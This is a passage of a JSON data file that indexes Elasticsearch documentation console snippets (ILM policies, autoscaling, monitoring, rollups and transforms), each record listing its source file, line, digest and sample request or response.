\"index_patterns\": [\"test-*\"], <1>\n \"template\": {\n \"settings\": {\n \"number_of_shards\": 1,\n \"number_of_replicas\": 1,\n \"index.lifecycle.name\": \"my_policy\", <2>\n \"index.lifecycle.rollover_alias\": \"test-alias\" <3>\n }\n }\n}"}, {"source_location":{"file":"ilm/set-up-lifecycle-policy.asciidoc","line":150},"digest":"25737fd456fd317cc4cc2db76b6cf28e","lang":"console","found":["ruby"],"source":"PUT test-000001\n{\n \"aliases\": {\n \"test-alias\":{\n \"is_write_index\": true <1>\n }\n }\n}"}, {"source_location":{"file":"ilm/set-up-lifecycle-policy.asciidoc","line":187},"digest":"d690a6af462c70a783625a323e11c72c","lang":"console","found":["ruby"],"source":"PUT test-index\n{\n \"settings\": {\n \"number_of_shards\": 1,\n \"number_of_replicas\": 1,\n \"index.lifecycle.name\": \"my_policy\" <1>\n }\n}"}, {"source_location":{"file":"ilm/set-up-lifecycle-policy.asciidoc","line":265},"digest":"ec195297eb804cba1cb19c9926773059","lang":"console","found":["ruby"],"source":"PUT mylogs-pre-ilm*/_settings <1>\n{\n \"index\": {\n \"lifecycle\": {\n \"name\": \"mylogs_policy_existing\"\n }\n }\n}"}, {"source_location":{"file":"ilm/set-up-lifecycle-policy.asciidoc","line":289},"digest":"ebef3dc8ed1766d433a5cffc40fde7ae","lang":"console","found":["ruby"],"source":"POST logs-my_app-default/_ilm/remove"}, {"source_location":{"file":"ilm/set-up-lifecycle-policy.asciidoc","line":309},"digest":"6a969ebe7490d93d35be895b14e5a42a","lang":"console","found":["ruby"],"source":"GET logs-my_app-default"}, {"source_location":{"file":"ilm/set-up-lifecycle-policy.asciidoc","line":318},"digest":"7fe2179705304af5e87eb382dca6235a","lang":"console","found":["ruby"],"source":"POST logs-my_app-default/_open"}, {"source_location":{"file":"ilm/set-up-lifecycle-policy.asciidoc","line":332},"digest":"05f4a4b284f68f7fb13603d7cd854083","lang":"console","found":["ruby"],"source":"PUT logs-my_app-default/_settings\n{\n \"index\": {\n \"lifecycle\": {\n \"name\": \"new-lifecycle-policy\"\n }\n }\n}"}, {"source_location":{"file":"data-management/migrate-index-allocation-filters.asciidoc","line":132},"digest":"80dbaf28d1976dc00de3fe2018067e81","lang":"console","found":["ruby"],"source":"DELETE _template/.cloud-hot-warm-allocation-0"}, {"source_location":{"file":"data-management/migrate-index-allocation-filters.asciidoc","line":175},"digest":"b2e4f3257c0e0aa3311f7270034bbc42","lang":"console","found":["ruby"],"source":"PUT my-index/_settings\n{\n \"index.routing.allocation.require.data\": null,\n \"index.routing.allocation.include._tier_preference\": \"data_hot\"\n}"}, {"source_location":{"file":"data-management/migrate-index-allocation-filters.asciidoc","line":192},"digest":"956cb470258024af964cd2dabbaf7c7c","lang":"console","found":["ruby"],"source":"PUT my-index/_settings\n{\n \"index.routing.allocation.require.data\": null,\n \"index.routing.allocation.include._tier_preference\": \"data_warm,data_hot\"\n}"}, {"source_location":{"file":"data-management/migrate-index-allocation-filters.asciidoc","line":220},"digest":"956cb470258024af964cd2dabbaf7c7c","lang":"console","found":["ruby"],"source":"PUT my-index/_settings\n{\n \"index.routing.allocation.require.data\": null,\n \"index.routing.allocation.include._tier_preference\": \"data_warm,data_hot\"\n}"}, {"source_location":{"file":"ilm/error-handling.asciidoc","line":15},"digest":"1b37e2237c9e3aaf84d56cc5c0bdb9ec","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/shrink-index\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"min_age\": \"5d\",\n \"actions\": {\n \"shrink\": {\n \"number_of_shards\": 4\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/error-handling.asciidoc","line":38},"digest":"aaba346e0becdf12db13658296e0b8a1","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"index.number_of_shards\": 2,\n \"index.lifecycle.name\": \"shrink-index\"\n }\n}"}, {"source_location":{"file":"ilm/error-handling.asciidoc","line":57},"digest":"64a79861225553799b26e118d7851dcc","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_ilm/explain"}, {"source_location":{"file":"ilm/error-handling.asciidoc","line":65},"digest":"c1b3a102b30024f96b20a76580ae2bb1","lang":"console-result","found":[],"source":"{\n \"indices\" : {\n \"my-index-000001\" : {\n \"index\" : \"my-index-000001\",\n \"managed\" : true,\n \"index_creation_date_millis\" : 1541717265865,\n \"time_since_index_creation\": \"5.1d\",\n \"policy\" : \"shrink-index\", <1>\n \"lifecycle_date_millis\" : 1541717265865,\n \"age\": \"5.1d\", <2>\n \"phase\" : \"warm\", <3>\n \"phase_time_millis\" : 1541717272601,\n \"action\" : \"shrink\", <4>\n \"action_time_millis\" : 1541717272601,\n \"step\" : \"ERROR\", <5>\n \"step_time_millis\" : 1541717272688,\n \"failed_step\" : \"shrink\", <6>\n \"step_info\" : {\n \"type\" : \"illegal_argument_exception\", <7>\n \"reason\" : \"the number of target shards [4] must be less that the number of source shards [2]\"\n },\n \"phase_execution\" : {\n \"policy\" : \"shrink-index\",\n \"phase_definition\" : { <8>\n \"min_age\" : \"5d\",\n \"actions\" : {\n \"shrink\" : {\n \"number_of_shards\" : 4\n }\n }\n },\n \"version\" : 1,\n \"modified_date_in_millis\" : 1541717264230\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/error-handling.asciidoc","line":118},"digest":"bd5bd5d8b3d81241335fe1e5747080ac","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/shrink-index\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"min_age\": \"5d\",\n \"actions\": {\n \"shrink\": {\n \"number_of_shards\": 1\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ilm/error-handling.asciidoc","line":144},"digest":"192fa1f6f51dfb640e9e15bb5cd7eebc","lang":"console","found":[],"source":"POST /my-index-000001/_ilm/retry"}, {"source_location":{"file":"ilm/start-stop.asciidoc","line":58},"digest":"182df084f028479ecbe8d7648ddad892","lang":"console","found":["ruby"],"source":"GET _ilm/status"}, {"source_location":{"file":"ilm/start-stop.asciidoc","line":65},"digest":"99e0bec31e49636bc0053ac66bc29352","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"RUNNING\"\n}"}, {"source_location":{"file":"ilm/start-stop.asciidoc","line":81},"digest":"585a34ad79aee16678b37da785933ac8","lang":"console","found":["ruby"],"source":"POST _ilm/stop"}, {"source_location":{"file":"ilm/start-stop.asciidoc","line":99},"digest":"8de1c258461189d65cba97dbc94600cd","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"STOPPING\"\n}"}, {"source_location":{"file":"ilm/start-stop.asciidoc","line":119},"digest":"db8563ab7fe37081a9bb66c91d65d673","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"STOPPED\"\n}"}, {"source_location":{"file":"ilm/start-stop.asciidoc","line":134},"digest":"72ae3851160fcf02b8e2cdfd4e57d238","lang":"console","found":["ruby"],"source":"POST _ilm/start"}, {"source_location":{"file":"ilm/ilm-with-existing-indices.asciidoc","line":74},"digest":"747a4b5001423938d7d05399d28f1995","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"indices.lifecycle.poll_interval\": \"1m\" <1>\n }\n}"}, {"source_location":{"file":"ilm/ilm-with-existing-indices.asciidoc","line":159},"digest":"afadb6bb7d0fa5a4531708af1ea8f9f8","lang":"console","found":["ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"mylogs-*\" <1>\n },\n \"dest\": {\n \"index\": \"mylogs\", <2>\n \"op_type\": \"create\" <3>\n }\n}"}, {"source_location":{"file":"ilm/ilm-with-existing-indices.asciidoc","line":185},"digest":"640e4f2c2d29f9851320a70927bd7a6c","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"indices.lifecycle.poll_interval\": null\n }\n}\n"}, {"source_location":{"file":"autoscaling/deciders/proactive-storage-decider.asciidoc","line":28},"digest":"a84bc239eb2f607e8bed1fdb70d63823","lang":"console","found":[],"source":"PUT /_autoscaling/policy/my_autoscaling_policy\n{\n \"roles\" : [ \"data_hot\" ],\n \"deciders\": {\n \"proactive_storage\": {\n \"forecast_window\": \"10m\"\n }\n }\n}"}, {"source_location":{"file":"autoscaling/deciders/proactive-storage-decider.asciidoc","line":44},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"autoscaling/deciders/machine-learning-decider.asciidoc","line":48},"digest":"ee634d59def6302134d24fa90e18b609","lang":"console","found":[],"source":"PUT /_autoscaling/policy/my_autoscaling_policy\n{\n \"roles\" : [ \"ml\" ],\n \"deciders\": {\n \"ml\": {\n \"num_anomaly_jobs_in_queue\": 5,\n \"num_analytics_jobs_in_queue\": 3,\n \"down_scale_delay\": \"30m\"\n }\n }\n}"}, {"source_location":{"file":"autoscaling/deciders/machine-learning-decider.asciidoc","line":67},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"autoscaling/deciders/fixed-decider.asciidoc","line":37},"digest":"a56c20a733a350673d41829c8daaafbe","lang":"console","found":[],"source":"PUT /_autoscaling/policy/my_autoscaling_policy\n{\n \"roles\" : [ \"data_hot\" ],\n \"deciders\": {\n \"fixed\": {\n \"storage\": \"1tb\",\n \"memory\": \"32gb\",\n \"processors\": 2.3,\n \"nodes\": 8\n }\n }\n}"}, {"source_location":{"file":"autoscaling/deciders/fixed-decider.asciidoc","line":56},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"monitoring/production.asciidoc","line":52},"digest":"a941fd568f2e20e13df909ab24506073","lang":"console","found":["ruby"],"source":"GET _cluster/settings\n\nPUT _cluster/settings\n{\n \"persistent\": {\n \"xpack.monitoring.collection.enabled\": false\n }\n}"}, {"source_location":{"file":"monitoring/production.asciidoc","line":94},"digest":"0b47b0bef81b9b5eecfb3775695bd6ad","lang":"console","found":[],"source":"POST /_security/user/remote_monitor\n{\n \"password\" : \"changeme\",\n \"roles\" : [ \"remote_monitoring_agent\"],\n \"full_name\" : \"Internal Agent For Remote Monitoring\"\n}"}, {"source_location":{"file":"monitoring/indices.asciidoc","line":112},"digest":"83dfd0852101eca3ba8174c9c38b4e73","lang":"console","found":["ruby"],"source":"GET /_template/.monitoring-*"}, {"source_location":{"file":"monitoring/indices.asciidoc","line":126},"digest":"3ba2896bcc724c27be8f0decf6f81813","lang":"console","found":["ruby"],"source":"PUT /_template/custom_monitoring\n{\n \"index_patterns\": [\".monitoring-beats-7-*\", \".monitoring-es-7-*\", \".monitoring-kibana-7-*\", \".monitoring-logstash-7-*\"],\n \"order\": 1,\n \"settings\": {\n \"number_of_shards\": 5,\n \"number_of_replicas\": 2\n }\n}"}, {"source_location":{"file":"monitoring/collecting-monitoring-data.asciidoc","line":45},"digest":"db9a8e3edee7c9a96ea0875fd4bbaa69","lang":"console","found":["ruby"],"source":"GET _cluster/settings"}, {"source_location":{"file":"monitoring/collecting-monitoring-data.asciidoc","line":50},"digest":"640da6dd719a34975b5627dfa5fcdd55","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"xpack.monitoring.collection.enabled\": true\n }\n}"}, {"source_location":{"file":"rollup/rollup-getting-started.asciidoc","line":34},"digest":"eed37703cfe8fec093ed5a42210a6ffd","lang":"console","found":[],"source":"PUT _rollup/job/sensor\n{\n \"index_pattern\": \"sensor-*\",\n \"rollup_index\": \"sensor_rollup\",\n \"cron\": \"*/30 * * * * ?\",\n \"page_size\": 1000,\n \"groups\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"fixed_interval\": \"60m\"\n },\n \"terms\": {\n \"fields\": [ \"node\" ]\n }\n },\n \"metrics\": [\n {\n \"field\": \"temperature\",\n \"metrics\": [ \"min\", \"max\", \"sum\" ]\n },\n {\n \"field\": \"voltage\",\n \"metrics\": [ \"avg\" ]\n }\n ]\n}"}, {"source_location":{"file":"rollup/rollup-getting-started.asciidoc","line":123},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"rollup/rollup-getting-started.asciidoc","line":138},"digest":"618c9d42284c067891fb57034a4fd834","lang":"console","found":["ruby"],"source":"POST _rollup/job/sensor/_start"}, {"source_location":{"file":"rollup/rollup-getting-started.asciidoc","line":152},"digest":"f29b2674299ddf51a25ed87619025ede","lang":"console","found":["ruby"],"source":"GET /sensor_rollup/_rollup_search\n{\n \"size\": 0,\n \"aggregations\": {\n \"max_temperature\": {\n \"max\": {\n \"field\": \"temperature\"\n }\n }\n }\n}"}, {"source_location":{"file":"rollup/rollup-getting-started.asciidoc","line":174},"digest":"82742a24e16fbaffa950867499a39b97","lang":"console-result","found":[],"source":"{\n \"took\" : 102,\n \"timed_out\" : false,\n \"terminated_early\" : false,\n \"_shards\" : ... ,\n \"hits\" : {\n \"total\" : {\n \"value\": 0,\n \"relation\": \"eq\"\n },\n \"max_score\" : 0.0,\n \"hits\" : [ ]\n },\n \"aggregations\" : {\n \"max_temperature\" : {\n \"value\" : 202.0\n }\n }\n}"}, {"source_location":{"file":"rollup/rollup-getting-started.asciidoc","line":209},"digest":"f39512478cae2db8f4566a1e4af9e8f5","lang":"console","found":["ruby"],"source":"GET /sensor_rollup/_rollup_search\n{\n \"size\": 0,\n \"aggregations\": {\n \"timeline\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"fixed_interval\": \"7d\"\n },\n \"aggs\": {\n \"nodes\": {\n \"terms\": {\n \"field\": \"node\"\n },\n \"aggs\": {\n \"max_temperature\": {\n \"max\": {\n \"field\": \"temperature\"\n }\n },\n \"avg_voltage\": {\n \"avg\": {\n \"field\": \"voltage\"\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"rollup/rollup-getting-started.asciidoc","line":247},"digest":"62fca9028bf95de78710573a95a20b5e","lang":"console-result","found":[],"source":"{\n \"took\" : 93,\n \"timed_out\" : false,\n \"terminated_early\" : false,\n \"_shards\" : ... ,\n \"hits\" : {\n \"total\" : {\n \"value\": 0,\n \"relation\": \"eq\"\n },\n \"max_score\" : 0.0,\n \"hits\" : [ ]\n },\n \"aggregations\" : {\n \"timeline\" : {\n \"buckets\" : [\n {\n \"key_as_string\" : \"2018-01-18T00:00:00.000Z\",\n \"key\" : 1516233600000,\n \"doc_count\" : 6,\n \"nodes\" : {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\" : [\n {\n \"key\" : \"a\",\n \"doc_count\" : 2,\n \"max_temperature\" : {\n \"value\" : 202.0\n },\n \"avg_voltage\" : {\n \"value\" : 5.1499998569488525\n }\n },\n {\n \"key\" : \"b\",\n \"doc_count\" : 2,\n \"max_temperature\" : {\n \"value\" : 201.0\n },\n \"avg_voltage\" : {\n \"value\" : 5.700000047683716\n }\n },\n {\n \"key\" : \"c\",\n \"doc_count\" : 2,\n \"max_temperature\" : {\n \"value\" : 202.0\n },\n \"avg_voltage\" : {\n \"value\" : 4.099999904632568\n }\n }\n ]\n }\n }\n ]\n }\n }\n}\n"}, {"source_location":{"file":"rollup/rollup-search-limitations.asciidoc","line":44},"digest":"75e6d66e94e61bd8a555beaaee255c36","lang":"console","found":["ruby"],"source":"GET sensor_rollup/_rollup_search\n{\n \"size\": 0,\n \"aggregations\": {\n \"avg_temperature\": {\n \"avg\": {\n \"field\": \"temperature\"\n }\n }\n }\n}"}, {"source_location":{"file":"rollup/rollup-search-limitations.asciidoc","line":63},"digest":"183dc354ec6ee1ba3b4544bd2a233990","lang":"console-result","found":[],"source":"{\n \"error\": {\n \"root_cause\": [\n {\n \"type\": \"illegal_argument_exception\",\n \"reason\": \"There is not a rollup job that has a [avg] agg with name [avg_temperature] which also satisfies all requirements of query.\",\n \"stack_trace\": ...\n }\n ],\n \"type\": \"illegal_argument_exception\",\n \"reason\": \"There is not a rollup job that has a [avg] agg with name [avg_temperature] which also satisfies all requirements of query.\",\n \"stack_trace\": ...\n },\n \"status\": 400\n}"}, {"source_location":{"file":"transform/checkpoints.asciidoc","line":80},"digest":"ec5a2ce156c36aaa267fa31dd9367307","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/set_ingest_time\n{\n \"description\": \"Set ingest timestamp.\",\n \"processors\": [\n {\n \"set\": {\n \"field\": \"event.ingested\",\n \"value\": \"{{{_ingest.timestamp}}}\"\n }\n }\n ]\n}"}, {"source_location":{"file":"transform/ecommerce-tutorial.asciidoc","line":77},"digest":"8345d2615f43a934fe1871a5120eca1d","lang":"console","found":[],"source":"POST _transform/_preview\n{\n \"source\": {\n \"index\": \"kibana_sample_data_ecommerce\",\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"term\": {\"currency\": \"EUR\"}\n }\n }\n }\n },\n \"pivot\": {\n \"group_by\": {\n \"customer_id\": {\n \"terms\": {\n \"field\": \"customer_id\"\n }\n }\n },\n \"aggregations\": {\n \"total_quantity.sum\": {\n \"sum\": {\n \"field\": \"total_quantity\"\n }\n },\n \"taxless_total_price.sum\": {\n \"sum\": {\n \"field\": \"taxless_total_price\"\n }\n },\n \"total_quantity.max\": {\n \"max\": {\n \"field\": \"total_quantity\"\n }\n },\n \"order_id.cardinality\": {\n \"cardinality\": {\n \"field\": \"order_id\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"transform/ecommerce-tutorial.asciidoc","line":165},"digest":"a4dbd52004f3ab1580eb73997f77dcab","lang":"console","found":[],"source":"PUT _transform/ecommerce-customer-transform\n{\n \"source\": {\n \"index\": [\n \"kibana_sample_data_ecommerce\"\n ],\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"term\": {\n \"currency\": \"EUR\"\n }\n }\n }\n }\n },\n \"pivot\": {\n \"group_by\": {\n \"customer_id\": {\n \"terms\": {\n \"field\": \"customer_id\"\n }\n }\n },\n \"aggregations\": {\n \"total_quantity.sum\": {\n \"sum\": {\n \"field\": \"total_quantity\"\n }\n },\n \"taxless_total_price.sum\": {\n \"sum\": {\n \"field\": \"taxless_total_price\"\n }\n },\n \"total_quantity.max\": {\n \"max\": {\n \"field\": \"total_quantity\"\n }\n },\n \"order_id.cardinality\": {\n \"cardinality\": {\n \"field\": \"order_id\"\n }\n }\n }\n },\n \"dest\": {\n \"index\": \"ecommerce-customers\"\n },\n \"retention_policy\": {\n \"time\": {\n \"field\": \"order_date\",\n \"max_age\": \"60d\"\n }\n }\n}"}, {"source_location":{"file":"transform/ecommerce-tutorial.asciidoc","line":254},"digest":"7f02ee5b29d89566a66165fddb821445","lang":"console-result","found":[],"source":"{\n \"preview\" : [\n {\n \"total_quantity\" : {\n \"max\" : 2,\n \"sum\" : 118.0\n },\n \"taxless_total_price\" : {\n \"sum\" : 3946.9765625\n },\n \"customer_id\" : \"10\",\n \"order_id\" : {\n \"cardinality\" : 59\n }\n },\n ...\n ],\n \"generated_dest_index\" : {\n \"mappings\" : {\n \"_meta\" : {\n \"_transform\" : {\n \"transform\" : \"transform-preview\",\n \"version\" : {\n \"created\" : \"8.0.0\"\n },\n \"creation_date_in_millis\" : 1621991264061\n },\n \"created_by\" : \"transform\"\n },\n \"properties\" : {\n \"total_quantity.sum\" : {\n \"type\" : \"double\"\n },\n \"total_quantity\" : {\n \"type\" : \"object\"\n },\n \"taxless_total_price\" : {\n \"type\" : \"object\"\n },\n \"taxless_total_price.sum\" : {\n \"type\" : \"double\"\n },\n \"order_id.cardinality\" : {\n \"type\" : \"long\"\n },\n \"customer_id\" : {\n \"type\" : \"keyword\"\n },\n \"total_quantity.max\" : {\n \"type\" : \"integer\"\n },\n \"order_id\" : {\n \"type\" : \"object\"\n }\n }\n },\n \"settings\" : {\n \"index\" : {\n \"number_of_shards\" : \"1\",\n \"auto_expand_replicas\" : \"0-1\"\n }\n },\n \"aliases\" : { }\n }\n}"}, {"source_location":{"file":"transform/ecommerce-tutorial.asciidoc","line":337},"digest":"f5cbbb60ca26867a5d2da625a68a6e65","lang":"console","found":["ruby"],"source":"PUT /ecommerce-customers\n{\n \"mappings\": {\n \"properties\": {\n \"total_quantity.sum\" : {\n \"type\" : \"double\"\n },\n \"total_quantity\" : {\n \"type\" : \"object\"\n },\n \"taxless_total_price\" : {\n \"type\" : \"object\"\n },\n \"taxless_total_price.sum\" : {\n \"type\" : \"double\"\n },\n \"order_id.cardinality\" : {\n \"type\" : \"long\"\n },\n \"customer_id\" : {\n \"type\" : \"keyword\"\n },\n \"total_quantity.max\" : {\n \"type\" : \"integer\"\n },\n \"order_id\" : {\n \"type\" : \"object\"\n }\n }\n }\n}"}, {"source_location":{"file":"transform/ecommerce-tutorial.asciidoc","line":401},"digest":"4ded8ad815ac0e83b1c21a6c18fd0763","lang":"console","found":["ruby"],"source":"POST _transform/ecommerce-customer-transform/_start"}, {"source_location":{"file":"transform/ecommerce-tutorial.asciidoc","line":439},"digest":"0a701bdc7b6786026f40c0be8ebfc753","lang":"console","found":[],"source":"POST _transform/_preview\n{\n \"source\": {\n \"index\": \"kibana_sample_data_ecommerce\",\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"term\": {\"currency\": \"EUR\"}\n }\n }\n }\n },\n \"latest\": {\n \"unique_key\": [\"geoip.country_iso_code\", \"geoip.region_name\"],\n \"sort\": \"order_date\"\n }\n}"}, {"source_location":{"file":"transform/examples.asciidoc","line":40},"digest":"88341b4eba71ec722f3e38fa1696fe87","lang":"console","found":[],"source":"POST _transform/_preview\n{\n \"source\": {\n \"index\": \"kibana_sample_data_ecommerce\"\n },\n \"dest\" : { <1>\n \"index\" : \"sample_ecommerce_orders_by_customer\"\n },\n \"pivot\": {\n \"group_by\": { <2>\n \"user\": { \"terms\": { \"field\": \"user\" }},\n \"customer_id\": { \"terms\": { \"field\": \"customer_id\" }}\n },\n \"aggregations\": {\n \"order_count\": { \"value_count\": { \"field\": \"order_id\" }},\n \"total_order_amt\": { \"sum\": { \"field\": \"taxful_total_price\" }},\n \"avg_amt_per_order\": { \"avg\": { \"field\": \"taxful_total_price\" }},\n \"avg_unique_products_per_order\": { \"avg\": { \"field\": \"total_unique_products\" }},\n \"total_unique_products\": { \"cardinality\": { \"field\": \"products.product_id\" }}\n }\n }\n}"}, {"source_location":{"file":"transform/examples.asciidoc","line":129},"digest":"be9376b1e354ad9c6bdad83f6a0ce5ad","lang":"console","found":[],"source":"POST _transform/_preview\n{\n \"source\": {\n \"index\": \"kibana_sample_data_flights\",\n \"query\": { <1>\n \"bool\": {\n \"filter\": [\n { \"term\": { \"Cancelled\": false } }\n ]\n }\n }\n },\n \"dest\" : { <2>\n \"index\" : \"sample_flight_delays_by_carrier\"\n },\n \"pivot\": {\n \"group_by\": { <3>\n \"carrier\": { \"terms\": { \"field\": \"Carrier\" }}\n },\n \"aggregations\": {\n \"flights_count\": { \"value_count\": { \"field\": \"FlightNum\" }},\n \"delay_mins_total\": { \"sum\": { \"field\": \"FlightDelayMin\" }},\n \"flight_mins_total\": { \"sum\": { \"field\": \"FlightTimeMin\" }},\n \"delay_time_percentage\": { <4>\n \"bucket_script\": {\n \"buckets_path\": {\n \"delay_time\": \"delay_mins_total.value\",\n \"flight_time\": \"flight_mins_total.value\"\n },\n \"script\": \"(params.delay_time / params.flight_time) * 100\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"transform/examples.asciidoc","line":215},"digest":"f2b2d62bc0a44940ad14fca57d6d008a","lang":"console","found":[],"source":"PUT _transform/suspicious_client_ips\n{\n \"source\": {\n \"index\": \"kibana_sample_data_logs\"\n },\n \"dest\" : { <1>\n \"index\" : \"sample_weblogs_by_clientip\"\n },\n \"sync\" : { <2>\n \"time\": {\n \"field\": \"timestamp\",\n \"delay\": \"60s\"\n }\n },\n \"pivot\": {\n \"group_by\": { <3>\n \"clientip\": { \"terms\": { \"field\": \"clientip\" } }\n },\n \"aggregations\": {\n \"url_dc\": { \"cardinality\": { \"field\": \"url.keyword\" }},\n \"bytes_sum\": { \"sum\": { \"field\": \"bytes\" }},\n \"geo.src_dc\": { \"cardinality\": { \"field\": \"geo.src\" }},\n \"agent_dc\": { \"cardinality\": { \"field\": \"agent.keyword\" }},\n \"geo.dest_dc\": { \"cardinality\": { \"field\": \"geo.dest\" }},\n \"responses.total\": { \"value_count\": { \"field\": \"timestamp\" }},\n \"success\" : { <4>\n \"filter\": {\n \"term\": { \"response\" : \"200\"}}\n },\n \"error404\" : {\n \"filter\": {\n \"term\": { \"response\" : \"404\"}}\n },\n \"error5xx\" : {\n \"filter\": {\n \"range\": { \"response\" : { \"gte\": 500, \"lt\": 600}}}\n },\n \"timestamp.min\": { \"min\": { \"field\": \"timestamp\" }},\n \"timestamp.max\": { \"max\": { \"field\": \"timestamp\" }},\n \"timestamp.duration_ms\": { <5>\n \"bucket_script\": {\n \"buckets_path\": {\n \"min_time\": \"timestamp.min.value\",\n \"max_time\": \"timestamp.max.value\"\n },\n \"script\": \"(params.max_time - params.min_time)\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"transform/examples.asciidoc","line":286},"digest":"4bd42e31ac4a5cf237777f1a0e97aba8","lang":"console","found":["ruby"],"source":"POST _transform/suspicious_client_ips/_start"}, {"source_location":{"file":"transform/examples.asciidoc","line":296},"digest":"14f2dab0583c5a9fcc39931d33194872","lang":"console","found":["ruby"],"source":"GET sample_weblogs_by_clientip/_search"}, {"source_location":{"file":"transform/examples.asciidoc","line":394},"digest":"bb64a7228a479f6aeeaccaf7560e11ee","lang":"console","found":[],"source":"PUT _transform/last-log-from-clientip\n{\n \"source\": {\n \"index\": [\n \"kibana_sample_data_logs\"\n ]\n },\n \"latest\": {\n \"unique_key\": [ <1>\n \"clientip\"\n ],\n \"sort\": \"timestamp\" <2>\n },\n \"frequency\": \"1m\", <3>\n \"dest\": {\n \"index\": \"last-log-from-clientip\"\n },\n \"sync\": { <4>\n \"time\": {\n \"field\": \"timestamp\",\n \"delay\": \"60s\"\n }\n },\n \"retention_policy\": { <5>\n \"time\": {\n \"field\": \"timestamp\",\n \"max_age\": \"30d\"\n }\n },\n \"settings\": {\n \"max_page_search_size\": 500\n }\n}\n"}, {"source_location":{"file":"transform/examples.asciidoc","line":445},"digest":"b8dc3764c4467922474b2cdec74bb86b","lang":"console","found":["ruby"],"source":"POST _transform/last-log-from-clientip/_start"}, {"source_location":{"file":"transform/examples.asciidoc","line":455},"digest":"738db420e3ad2a127ea75fb8e5051926","lang":"console","found":["ruby"],"source":"GET last-log-from-clientip/_search"}, {"source_location":{"file":"transform/examples.asciidoc","line":537},"digest":"6fbb88f399618e1b47412082062ce2bd","lang":"console","found":[],"source":"POST _transform/_preview\n{\n \"source\": {\n \"index\": \"kibana_sample_data_logs\"\n },\n \"pivot\": {\n \"group_by\": { <1>\n \"timestamp\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"fixed_interval\": \"1h\"\n }\n }\n },\n \"aggregations\": {\n \"bytes.max\": { <2>\n \"max\": {\n \"field\": \"bytes\"\n }\n },\n \"top\": {\n \"top_metrics\": { <3>\n \"metrics\": [\n {\n \"field\": \"clientip\"\n },\n {\n \"field\": \"geo.src\"\n }\n ],\n \"sort\": {\n \"bytes\": \"desc\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"transform/examples.asciidoc","line":640},"digest":"3f669878713a14dfba251c7ce74dd5c4","lang":"console","found":[],"source":"POST _transform/_preview\n{\n \"source\": {\n \"index\": \"kibana_sample_data_ecommerce\"\n },\n \"pivot\": {\n \"group_by\": { <1>\n \"customer_id\": {\n \"terms\": {\n \"field\": \"customer_id\"\n }\n }\n },\n \"aggregations\": {\n \"last\": {\n \"top_metrics\": { <2>\n \"metrics\": [\n {\n \"field\": \"email\"\n },\n {\n \"field\": \"customer_first_name.keyword\"\n },\n {\n \"field\": \"customer_last_name.keyword\"\n }\n ],\n \"sort\": {\n \"order_date\": \"desc\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"transform/painless-examples.asciidoc","line":397},"digest":"e4b64b8277af259a52c8d3940157b5fa","lang":"console","found":[],"source":"PUT _transform/data_log\n{\n \"source\": {\n \"index\": \"kibana_sample_data_logs\"\n },\n \"dest\": {\n \"index\": \"data-logs-by-client\"\n },\n \"pivot\": {\n \"group_by\": {\n \"machine.os\": {\"terms\": {\"field\": \"machine.os.keyword\"}},\n \"machine.ip\": {\"terms\": {\"field\": \"clientip\"}}\n },\n \"aggregations\": {\n \"time_frame.lte\": {\n \"max\": {\n \"field\": \"timestamp\"\n }\n },\n \"time_frame.gte\": {\n \"min\": {\n \"field\": \"timestamp\"\n }\n },\n \"time_length\": { <1>\n \"bucket_script\": {\n \"buckets_path\": { <2>\n \"min\": \"time_frame.gte.value\",\n \"max\": \"time_frame.lte.value\"\n },\n \"script\": \"params.max - params.min\" <3>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"transform/painless-examples.asciidoc","line":513},"digest":"2a5f7e7d6b92c66e52616845146d2820","lang":"console","found":[],"source":"POST _transform/_preview\n{\n \"id\" : \"index_compare\",\n \"source\" : { <1>\n \"index\" : [\n \"index1\",\n \"index2\"\n ],\n \"query\" : {\n \"match_all\" : { }\n }\n },\n \"dest\" : { <2>\n \"index\" : \"compare\"\n },\n \"pivot\" : {\n \"group_by\" : {\n \"unique-id\" : {\n \"terms\" : {\n \"field\" : \"\" <3>\n }\n }\n },\n \"aggregations\" : {\n \"compare\" : { <4>\n \"scripted_metric\" : {\n \"map_script\" : \"state.doc = new HashMap(params['_source'])\", <5>\n \"combine_script\" : \"return state\", 